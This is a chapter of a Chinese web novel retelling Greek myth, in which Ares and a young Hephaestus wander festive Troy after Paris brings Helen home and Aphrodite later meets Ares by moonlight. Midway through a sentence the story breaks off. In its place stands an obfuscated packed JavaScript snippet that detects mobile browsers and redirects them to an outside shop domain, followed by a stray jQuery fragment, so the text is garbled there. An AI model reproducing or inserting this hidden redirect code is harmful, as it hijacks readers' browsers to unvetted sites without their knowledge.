阿瑞斯和赫菲斯托斯走进城门的时候,街道上的气氛和外面看到的截然不同。暮色里的城邦没有要入夜的沉静,反而灯火通明。
沿街的窗户几乎都亮着,酒馆的门大敞着,里面传出笑声和杯盏碰撞的声响。有人在街边挂了一排彩色的布幔,风一吹就飘起来。
阿瑞斯站在街口,环顾了一圈,皱着眉:“过节?”
赫菲斯托斯坐在他肩膀上,低头看了看下面正在经过的人群,目光落在一个扛着一整只烤羊腿、满脸通红的中年人身上。那人走路歪歪扭扭的,嘴里还哼着不知名的小调,差点撞上阿瑞斯的膝盖。
阿瑞斯侧身避开了,伸手拦住另一个人——一个看起来稍微清醒些的年轻男子,手里提着一只酒壶,正朝着酒馆的方向走。
“打扰一下,”阿瑞斯开口,“今天是什么日子?”
那个年轻人停下来,上下打量了他一眼:“你是刚来的吧?”
“……算是。”
“那难怪你不知道!”年轻人拍了拍他的手臂,力道不轻,带着酒气,“我们特洛伊的王子前两天从斯巴达回来,带回了他们的王后!斯巴达的王后,海伦!你听说过她吗?全希腊最美的女人!”
“王子去斯巴达做客,一眼就看上了她,她也看上了他,两个人——”年轻人做了一个“你懂”的手势,“——私奔了!跑了!一路跑回特洛伊!”
他说完自己先笑了,又拍了一下阿瑞斯的肩膀:“你看看,我们特洛伊的王子,连斯巴达的王后都能带回来——这是英雄才做得到的事!”
阿瑞斯沉默片刻,最终接话:“原来如此。”
“可不是嘛!”
年轻人又笑了,目光在阿瑞斯的脸上停了一下。暮色里的光线偏暗,但阿瑞斯的金发和那双琥珀色的眼睛在这种光线里反而更醒目了。
年轻人歪了歪头:“话说回来,你头发怎么是这个颜色的?”
阿瑞斯的手指在袖口下方微微收拢,那是一个准备动手的前兆——如果这个凡人再多问一句、多看一眼,他可以让他今夜在酒醉中醒来时已经记不清自己见过谁了。
他正要把这个念头付诸行动,年轻人忽然一拍手,像是想通了什么:“外乡人吧?来游历的?我一看就知道!你们这些外乡人总是从远方来,头发颜色也稀奇古怪的——”
他滔滔不绝地继续说下去,开始热情地介绍特洛伊的好处:“你来得正好,这几天全城都在庆祝!酒水便宜,肉管够,你要是住下来还能赶上篝火……”
阿瑞斯原本已经准备动作的手指慢慢地松开了,他垂下手,看着面前这个还在继续说话的凡人。那人一边说着一边非常自然地伸手摸了摸赫菲斯托斯的头。
“这小家伙是你儿子吧?长得真乖。你带着孩子出来游历,真是个好父亲啊。”
阿瑞斯的嘴角抽了一下。赫菲斯托斯坐在他肩膀上,被摸了头也没有躲,只是低头看了那个人一眼,然后认真地说:“他不是我父亲。”
那人愣了一下:“啊?不是父子?那是——”
“我是他哥哥。”阿瑞斯开口。
他不知道自己为什么要接这句话,也许是怕那个凡人继续猜下去会猜出更离谱的答案吧。
“兄弟也行!”那凡人一拍手,“当哥哥的有担当,带着弟弟出来看世界。好!”
他又拍了拍阿瑞斯的肩膀,然后转身继续朝酒馆走去,边走还边回头补了一句:“晚上广场有篝火,你们要是没事就去看看,外乡人!”
“我们去看看篝火?”赫菲斯托斯问。
阿瑞斯应了一声。
广场上已经聚了不少人。一堆篝火正在中央燃烧着,火焰蹿得比人还高,把周围一圈人的脸都照成了暖融融的橘红色。有人在弹一种弦乐器,几个年轻人围成一圈在跳舞,步伐不算整齐但很尽兴。空气里弥漫着烤肉的香气和麦酒发酵后的微酸味道。
赫菲斯托斯目光越过人群落在火焰上,看得很专注。
“这个火比奥林匹斯的活泼。它跳得更高,也更乱。”
“人间的火总是这样,”阿瑞斯说,“容易失控。”
赫菲斯托斯想了想:“但它也暖和。”
阿瑞斯没有再说话。他穿过人群,走到一处相对空些的位置,把赫菲斯托斯从肩上放下来。赫菲斯托斯脚踩到地面的时候,视线还是被篝火牵着走。
他在篝火前几步的位置站定,然后蹲下来,伸手朝向火的方向。火苗在离他掌心一两寸的地方跳动了一下,像是在回应他。
“它认识你。”阿瑞斯说。
“嗯,”赫菲斯托斯接话,“所有火都认识我。”
一个正在旁边喝酒的老者注意到了他们。他端着陶杯走过来,目光在赫菲斯托斯身上停了一下,又落在阿瑞斯身上。
“你们是外乡人?”
阿瑞斯点了一下头。
“那小孩不怕火?”老者朝赫菲斯托斯的方向努了努嘴,“我看他蹲那么近,一般的孩子早被烫哭了。”
“他习惯了。”
老者笑了,没有追问。
“这几天全城都在庆贺。你听说了吧?王子带回了斯巴达的王后。”
他说话的语气里带着一种毫不掩饰的得意,就像特洛伊的城池里出了一件值得向每个路过的人炫耀的大事。
“听说了。”
老者喝了一口酒,突然想起了什么别的:“那个王后你们见过吗?”
“没有。”
“漂亮是真漂亮,”老者咂了咂嘴,“听人说她往那儿一站,整座宫殿的光都被她一个人吸走了。不过——”他压低了一些声音,“斯巴达那边肯定不会善罢甘休。他们国王的老婆被人拐跑了,这仗迟早要打。”
阿瑞斯没有说话。他看向篝火的方向,赫菲斯托斯已经收回了手,站起来走回他身边。
老者看了他们一会儿,似是不愿冷场,又找补了几句:“你们既然来了就多待几天,过两天王子和王后会在城楼上露面,你们可以远远看一眼。难得一见。”他说完,端着杯又踱回那群正在喝酒的人里去了。
……
篝火散尽的时候已经过了午夜,阿瑞斯和赫菲斯托斯在广场边找到了一户愿意收留外乡人的老夫妇。老妇人给他们腾了一间偏屋,赫菲斯托斯躺下没多久就睡着了。
阿瑞斯坐在床边,等他的呼吸彻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782638|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底变沉之后才站起来,推开门走了出去。
他的目光落在西南方向的矮墙上,阿弗洛狄特坐在那里。月光落在她身上,把她纱质的衣袍照成一种半透明的颜色。她的双腿交叠着,一只手撑在身侧的墙面上,姿态松散。
阿瑞斯走过去,在她面前停下来。
“你来人间做什么?”
“来找你。”她伸出手,指尖落在他垂在身侧的手背上,顺着掌骨的轮廓轻轻滑过去,“不行吗?”
阿瑞斯低头看着她,月光里她的脸如同被一层极薄的银粉轻轻覆过,每一道轮廓都是柔和的,每一寸皮肤都在发着微光。他没有避开她的手。
阿弗洛狄特从墙上跳下来,落在他面前,近到他能闻见她身上那股特别的香气。她抬手扣住了他的后颈,把他拉下来,吻他。
“海伦的事,是你做的?”
“你怎么知道是我?”
“你出现在这里,就说明跟你有关。”
阿弗洛狄特浅笑,承认了:“是我促成的。特洛伊的王子来找我,许了愿,愿意用他最珍贵的东西来换斯巴达的王后对他的爱。我答应了。”
“你为什么要做这件事?”
阿弗洛狄特看着他,那双眼睛在月光里微微亮了一下。
“因为有人让我做。”
“谁?”
“厄洛斯。”
“他要你做什么?”
“具体的不清楚,”阿弗洛狄特说,“他要我让海伦跟着特洛伊的王子走。他说这件事会牵扯到很多神明,不止是奥林匹斯,还有更深的。”
“他说这是诸神黄昏的前奏,还说这里面有火神的一步棋。”
“赫菲斯托斯?”
“我暂时还不清楚他的角色,但厄洛斯说,整个局里会有他的一环。”
阿弗洛狄忒抬起手,指尖碰了碰他的颧骨。
“阿瑞斯,我今晚不是来替厄洛斯传话的。我是来告诉你——到时候,你不要下场。这件事背后的牵扯比你想象的大,一旦你卷进去,很可能会脱不了身。”
“你为什么要告诉我这些?”
“因为——”她停了一下,“我觉得你需要知道。”
阿瑞斯的手指落在她腰侧,轻轻搭了一下。她感觉到他的力道,身子微微靠过来。
“你说的太多了。”阿瑞斯低声说。
“太多了?”阿弗洛狄特仰头看他,嘴角那层惯常的弧度还在,但底下露出一层更柔软的东西,“你觉得我今晚不该来?”
“不是。”阿瑞斯摇头,“你不该告诉我这些。”
“可我还是说了。”阿弗洛狄特的声音轻了几分。
她靠在他怀里,手指从他后颈滑到他的下颌,然后轻轻抬起来,让她能看清他的表情。
“因为我确实挺喜欢你的,不想看你走进那团火里。”
“阿瑞斯,你要是真想谢谢我——”
“嗯?”
“今晚就别回去睡了。”
阿弗洛狄特从他怀里退出来,拉起他的手。
阿瑞斯没有拒绝,跟着她穿过院子,风从他们身后吹过来,把她衣袍的一角吹到他小臂上。